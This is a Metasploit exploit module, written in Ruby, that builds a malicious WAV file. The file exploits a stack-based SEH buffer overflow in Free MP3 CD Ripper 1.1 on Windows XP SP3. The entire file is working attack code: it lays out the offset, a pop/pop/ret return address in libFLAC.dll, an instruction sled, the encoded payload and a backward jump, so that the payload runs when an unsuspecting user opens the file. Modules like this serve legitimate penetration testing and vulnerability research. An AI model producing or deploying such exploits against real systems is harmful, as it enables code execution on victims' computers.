##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in Free MP3 CD
Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious
WAV file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Richard Leahy', # Initial discovery
'X-h4ck', # msf module is based on his poc
'Tiago Henriques', # msf module
'James Fitts' # clean ups
],
'References' =>
[
[ 'OSVDB', '63349' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure
[ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
'Offset' => 4116
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 27 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.wav']),
], self.class)
end
def exploit
wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
wav << payload.encoded
wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
wav << generate_seh_record(target.ret)
wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(wav)
end
end
